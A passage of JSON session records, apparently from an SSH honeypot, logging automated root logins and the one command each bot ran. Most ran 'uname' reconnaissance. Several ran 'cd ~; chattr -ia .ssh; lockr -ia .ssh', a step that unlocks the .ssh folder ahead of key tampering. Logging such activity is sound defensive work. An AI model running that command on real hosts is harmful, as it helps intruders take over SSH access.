  "name": "lonesome-rapid-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:31:00.549931+00:00",
  "ended_at": "2026-08-26T13:31:06.576525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c238d805-0c45-4669-bb23-342741837bc4",
  "name": "jagged-genial-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 633,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:55.727875+00:00",
  "ended_at": "2026-08-26T13:30:59.487650+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a710583-82b8-4888-8229-9a6ad110cb37",
  "name": "inland-murky-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:02.093839+00:00",
  "ended_at": "2026-08-26T13:29:07.248402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f82ac3fc-206a-42a7-9746-bad253c1b16e",
  "name": "murky-fierce-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:38.788014+00:00",
  "ended_at": "2026-08-26T13:28:41.734993+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "95155622-c7c1-4e5c-b72b-63fc2e9c2971",
  "name": "forlorn-hardy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 825,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:34.240756+00:00",
  "ended_at": "2026-08-26T13:28:39.693621+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a50c325d-ddeb-4bac-be2c-04331acda6f1",
  "name": "supple-mottled-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:27:19.453364+00:00",
  "ended_at": "2026-08-26T13:27:24.514699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f109b24a-f319-4066-8841-e50043e2dc9d",
  "name": "hearty-silent-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:59.639925+00:00",
  "ended_at": "2026-08-26T13:27:05.628807+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7a6bf20e-d689-4cd3-a3a4-7961532d4a56",
  "name": "serene-knotted-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.41",
  "src_port": 39110,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:26:38.195505+00:00",
  "ended_at": "2026-08-26T13:26:38.863625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7314249d-e0da-4192-9c20-59dbb85fd07a",
  "name": "deft-fleeting-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 635,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:23.222443+00:00",
  "ended_at": "2026-08-26T13:26:28.259049+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d03363a3-01f9-4b45-b427-8012e1a1ca2f",
  "name": "crisp-ginger-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 631,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:01.695413+00:00",
  "ended_at": "2026-08-26T13:26:05.290100+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "34448d6f-7d6f-4e0a-a748-db6eb8c3621f",
  "name": "boreal-blithe-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:05.507150+00:00",
  "ended_at": "2026-08-26T13:25:11.874469+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b7b8b4b7-c648-474c-8e39-b326ca5a3f05",
  "name": "frank-prickly-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:37.620440+00:00",
  "ended_at": "2026-08-26T13:24:42.277406+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d9dc232c-a718-4fb0-97e5-fc8022fb2336",
  "name": "dapper-wry-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37882,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:27.141343+00:00",
  "ended_at": "2026-08-26T13:24:31.742249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d67fe4a8-e40c-4821-b4c1-4e8757459db4",
  "name": "sterling-primal-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 555,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:12.761287+00:00",
  "ended_at": "2026-08-26T13:24:17.807530+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9ba8a6f7-afe8-4d30-a64d-bc9131858797",
  "name": "faded-distant-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 653,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:47.425754+00:00",
  "ended_at": "2026-08-26T13:23:51.150350+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a399e888-5e4b-4246-826b-eafc879e796e",
  "name": "thrifty-distant-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:21.784541+00:00",
  "ended_at": "2026-08-26T13:23:27.905262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78e4645f-d6d9-4fb6-9a97-b08c766e5bd3",
  "name": "tidal-eager-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 704,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:40.376519+00:00",
  "ended_at": "2026-08-26T13:22:44.669859+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c761b5d2-5814-4461-871c-d1975cead17a",
  "name": "marbled-verdant-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:08.751546+00:00",
  "ended_at": "2026-08-26T13:22:13.175615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5d76c0f-8c65-4ed9-b4cb-984914c0b434",
  "name": "flinty-kindly-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 660,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:59.045505+00:00",
  "ended_at": "2026-08-26T13:22:04.788413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da994aa2-008d-4b69-b05f-7ceeb86a64fa",
  "name": "chilly-deft-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "125.142.37.91",
  "src_port": 46416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 632,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:48.264018+00:00",
  "ended_at": "2026-08-26T13:21:49.062135+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "9341314a-c666-428a-ad30-b5e08049bc6c",
  "name": "wry-tender-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1209,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:47.359998+00:00",
  "ended_at": "2026-08-26T13:21:48.920783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2ddb064a-e68b-4ca2-b56d-0fb4b01e9c75",
  "name": "deft-clever-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "125.142.37.91",
  "src_port": 1363,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:35.144346+00:00",
  "ended_at": "2026-08-26T13:21:36.807343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08e9f6b7-b38d-482e-9a74-3741d4bb231c",
  "name": "fearless-zealous-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:16.930209+00:00",
  "ended_at": "2026-08-26T13:21:20.655248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "727c4a6a-7880-4112-a8ac-8d26f09ac588",
  "name": "jolly-bronzed-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:14.826027+00:00",
  "ended_at": "2026-08-26T13:21:16.827367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bb8b7ca-29ce-4e8c-a1e5-be6735c03e7b",
  "name": "spirited-wooded-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 474,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:29.017650+00:00",
  "ended_at": "2026-08-26T13:20:35.245681+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "074d4433-8b22-4d18-af6f-822e9ff9b30d",
  "name": "hazel-jovial-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:18.984510+00:00",
  "ended_at": "2026-08-26T13:20:23.807623+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e9c22aab-a3b6-4ea0-ba0d-f550ad366c9f",
  "name": "vaulted-northern-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:19:39.665578+00:00",
  "ended_at": "2026-08-26T13:19:42.854492+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7a3b2e58-1424-44bf-ac9a-35e0b73dd2af",
  "name": "keen-calm-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:58.661415+00:00",
  "ended_at": "2026-08-26T13:19:03.711401+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86fca611-5d5b-4a78-b15f-39b46a687c6f",
  "name": "hearty-lofty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:50.675410+00:00",
  "ended_at": "2026-08-26T13:18:54.266334+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1261f400-7a1d-4efd-b2a7-d9feaf63e031",
  "name": "autumn-cobalt-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 951,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:18:24.164394+00:00",
  "ended_at": "2026-08-26T13:18:26.224187+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "58ec68b0-2d8e-47db-82e7-e9be3fb08e6a",
  "name": "electric-glassy-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50306,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:51.899115+00:00",
  "ended_at": "2026-08-26T13:17:53.255274+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c5dc15d-1289-485b-827d-fab2724e2de0",
  "name": "rapid-seaward-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 845,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:32.257467+00:00",
  "ended_at": "2026-08-26T13:17:35.337924+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5528b84-0fc4-4645-8bbe-443b796c187a",
  "name": "obsidian-blazing-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:17.839192+00:00",
  "ended_at": "2026-08-26T13:17:22.165000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3288cc6c-8f3d-45ea-b410-7b3eb0efcad2",
  "name": "misty-drifting-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 427,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:45.413046+00:00",
  "ended_at": "2026-08-26T13:16:48.737378+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25beb220-389a-4dd7-a5a0-a64eaed20f0f",
  "name": "austere-gleaming-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:16.188049+00:00",
  "ended_at": "2026-08-26T13:16:21.006775+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2fdf90d1-e6fe-40c2-8e80-2369762a947f",
  "name": "gleaming-feral-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:42.787528+00:00",
  "ended_at": "2026-08-26T13:15:46.581596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d267a83-325a-4bde-a61c-5c4373b32e81",
  "name": "obsidian-tidal-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:18.877498+00:00",
  "ended_at": "2026-08-26T13:15:23.563787+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c010eb6f-55ef-47a1-8e86-7c91519a9acd",
  "name": "diligent-smoky-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 576,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:10.226622+00:00",
  "ended_at": "2026-08-26T13:15:13.985879+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "00394236-bcb6-4a9b-af1f-1c221f8e2a22",
  "name": "faded-muted-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1167,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:15:06.296677+00:00",
  "ended_at": "2026-08-26T13:15:08.206951+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "41220127-00e0-4529-b8a6-99163cbec477",
  "name": "stoic-salty-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:39.354762+00:00",
  "ended_at": "2026-08-26T13:14:42.913351+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2f4c7e1-9894-4dd8-8206-d3e798c1c3d2",
  "name": "diligent-solemn-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:35.204805+00:00",
  "ended_at": "2026-08-26T13:14:37.902542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3af850ff-071b-451e-a415-8181f21c3410",
  "name": "thrifty-somber-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 629,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:33.206956+00:00",
  "ended_at": "2026-08-26T13:14:38.367060+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "505946af-7971-49af-a6e7-8500159ae66b",
  "name": "dewy-breezy-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:41.940147+00:00",
  "ended_at": "2026-08-26T13:13:45.720383+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4543eaaf-d613-4926-ae68-9868f27bba86",
  "name": "pleasant-jagged-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:41.212109+00:00",
  "ended_at": "2026-08-26T13:13:44.034850+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e631f14a-d738-4030-930d-42aa0d99eaa3",
  "name": "dutiful-inland-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:24.306713+00:00",
  "ended_at": "2026-08-26T13:13:30.132328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b371ba3-ea3b-4da8-a668-f14ad5935944",
  "name": "prairie-idle-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:12.288842+00:00",
  "ended_at": "2026-08-26T13:13:15.335955+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87729ee9-39fb-4102-85e1-e2d6897e61bc",
  "name": "gleaming-primal-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:53.528453+00:00",
  "ended_at": "2026-08-26T13:11:57.453270+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08b1ed45-b4fb-4c63-9613-aaea3cbca3b7",
  "name": "murky-wandering-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49888,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1202,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:11:42.028828+00:00",
  "ended_at": "2026-08-26T13:11:47.309219+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "06123f16-d6b7-4e3c-8183-957dabd4ab2a",
  "name": "hazy-quiet-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:35.867024+00:00",
  "ended_at": "2026-08-26T13:11:41.620641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e826d04e-6034-4bf0-a01b-5f4a48eb1f9f",
  "name": "sunlit-orderly-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:22.978700+00:00",
